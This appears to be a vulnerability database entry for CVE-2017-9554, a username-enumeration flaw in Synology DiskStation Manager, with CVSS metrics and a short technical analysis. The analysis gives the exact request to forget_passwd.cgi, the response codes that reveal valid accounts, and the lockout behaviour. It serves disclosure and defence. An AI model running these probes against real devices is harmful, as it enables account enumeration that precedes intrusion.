Attacker Value
Very Low
(1 user assessed)
Exploitability
Very High
(1 user assessed)
User Interaction
None
Privileges Required
None
Attack Vector
Network
0

CVE-2017-9554

Disclosure Date: July 24, 2017
Add MITRE ATT&CK tactics and techniques that apply to this CVE.

Description

An information exposure vulnerability in forget_passwd.cgi in Synology DiskStation Manager (DSM) before 6.1.3-15152 allows remote attackers to enumerate valid usernames via unspecified vectors.

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1
Ratings
  • Attacker Value
    Very Low
  • Exploitability
    Very High
Technical Analysis

Vulnerability is trivial to exploit. Send a GET request to /webman/forget_passwd.cgi?user=<username> and check the response.
A user who can login will give:

{
   "info" : "admin group",
   "msg" : 1
}

A user who can’t login will give:

{
   "info" : "no mail or no priviege",
   "msg" : 2
}

An invalid user will give:

{
   "info" : "get user info failed",
   "msg" : 4
}

msg 3 means either the feature is disabled, or patched.
msg 5 means you’re locked out.

Default lockout policy is 10 logins in 5min. Each username enumeration counts as a login. Lockout is permanent by default.

CVSS V3 Severity and Metrics
Base Score:
5.3 Medium
Impact Score:
1.4
Exploitability Score:
3.9
Vector:
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Attack Vector (AV):
Network
Attack Complexity (AC):
Low
Privileges Required (PR):
None
User Interaction (UI):
None
Scope (S):
Unchanged
Confidentiality (C):
Low
Integrity (I):
None
Availability (A):
None

General Information

Additional Info

Technical Analysis